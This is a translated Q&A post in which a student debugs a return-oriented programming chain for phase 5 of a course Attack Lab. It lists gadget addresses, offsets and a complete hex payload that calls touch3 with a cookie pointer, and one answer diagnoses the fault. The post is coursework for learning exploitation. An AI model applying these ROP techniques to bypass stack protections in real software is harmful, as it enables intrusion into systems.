攻击实验室阶段5中的分段错误

时间:2019-02-09 01:22:04

标签: assembly x86

这是我的软件安全性课程的攻击实验室的第5阶段。由于地址随机化和不可执行的堆栈,我们应该使用面向返回的编程(ROP)将给定cookie值的字符串指针作为参数传递给名为touch3的函数。我无法更好地描述这个问题,因为到目前为止我只能理解所有内容,完整的说明位于pdf第10页: Attack Lab

代码的逻辑(我可以从其他人的答案中看到):

  1. 填充缓冲区

  2. %rsp保存到寄存器中(此处为%rdi

  3. 将地址偏移量保存到寄存器中(此处为%rax

  4. 将上述总和保存为寄存器值

  5. 呼叫touch3

  6. cookie字符串

  7. \0结束

我正在关注其他人的工作,我的代码与他们的代码相同,但是我实际上并不清楚逻辑,所以我想问几个愚蠢的问题:

  1. 为什么我们需要%rsp和偏移地址的总和?

  2. 为什么首先将值弹出到%rax,然后将cookie字符串的地址传递给%rax

  3. 我在这个作业上做错了什么地方?

除了仔细检查所有编码和地址是否正确使用外,我想不出办法解决此问题。

步骤1:

48 89 e0 c3 mov %rsp, %rax

在我的小工具农场中,我发现:

401ae6: b8 27 48 89 e0 mov $0xe0894827,%eax
  401aeb: c3

401ae6 + 2,反向=>

e8 1a 40 00 00 00 00 00

步骤2:

48 89 c7 c3 mov %rax, %rdi

在我的小工具农场中,我发现:

401a2d: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax
  401a33: c3

90 = nop,没关系

401a2d + 2,反向=>

2f 1a 40 00 00 00 00 00

步骤3:

58 c3 pop%rax

在我的小工具农场中,我发现:

401a34: c7 07 75 ac 31 58 movl $0x5831ac75,(%rdi)
  401a3a: c3

401a34 + 5,反向=>

39 1a 40 00 00 00 00 00

步骤4:

0x48

该常数应该是第一行与cookie字符串行-1之间的距离,也称为地址偏移量。 Cookie字符串前有10行。所以值是(10-1)* 8 = 72 = 0x48

步骤5:

89 c2 movl %eax, %edx

在我的小工具农场中,我发现:

401aa2: c7 07 89 c2 90 c3 movl $0xc390c289,(%rdi)
  401aa8: c3

401aa2 + 2,反向=>

a4 1a 40 00 00 00 00 00

步骤6:

89 d1 movl %edx, %ecx

在我的小工具农场中,我发现:

401afa: 8d 87 89 d1 08 c9 lea -0x36f72e77(%rdi),%eax
  401b00: c3

08 c9 = Orb R,R = nop,没关系

401afa + 2反向=>

fc 1a 40 00 00 00 00 00

步骤7:

89 ce movl %ecx, %esi

在我的小工具农场中,我发现:

401ab0: b8 72 74 89 ce mov $0xce897472,%eax
  401ab5: c3

401ab0 + 3,反向=>

b3 1a 40 00 00 00 00 00

步骤8:

lea (%rdi, %rsi, 1), %rax

在我的小工具农场中,我发现:

401a68: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
  401a6c: c3
401a68,反向=>

68 1a 40 00 00 00 00 00

步骤9:

48 89 c7 c3 mov %rax, %rdi

在我的小工具农场中,我发现:

401a48: b8 34 48 89 c7 mov $0xc7894834,%eax
  401a4d: c3

401a48 + 2反向=>

4a 1a 40 00 00 00 00 00

步骤10:

touch3地址 (确认从第3阶段起是正确的) 8a 19 40 00 00 00 00 00

步骤11:

cookie的字符串表示形式 (确认从第3阶段起是正确的)

33 65 35 32 64 66 66 35 00


    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 /* buffer */
    e8 1a 40 00 00 00 00 00 /* step1: mov  %rsp, %rax */
    2f 1a 40 00 00 00 00 00 /* step2: mov %rax, %rdi */
    39 1a 40 00 00 00 00 00 /* step3: pop %rax */
    48 00 00 00 00 00 00 00 /* step4: constant 0x48 */
    a4 1a 40 00 00 00 00 00 /* step5: movl %eax, %edx */
    fc 1a 40 00 00 00 00 00 /* step6: movl %edx, %ecx */
    b3 1a 40 00 00 00 00 00 /* step7: movl %ecx, %esi */
    68 1a 40 00 00 00 00 00 /* step8: lea (%rdi, %rsi, 1), %rax */
    4a 1a 40 00 00 00 00 00 /* step9: mov %rax, %rdi */ 
    8a 19 40 00 00 00 00 00 /* step10: touch3 address */
    33 65 35 32 64 66 66 35 /* step11: string representtion of cookie */
    00 00 00 00 00 00 00 00     

1 个答案:

答案 0 :(得分:0)

原因是在步骤2中0x90不能作为nop工作。通过将步骤2的行替换为步骤9的行来解决该问题。无论如何,它们应该是相同的。我以为我碰巧找到了2套不同的小工具,所以我使用了两个我认为可以互换的地址,但事实证明nop必须从头开始。.

对于第二步:

401a2d: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax

401a33: c3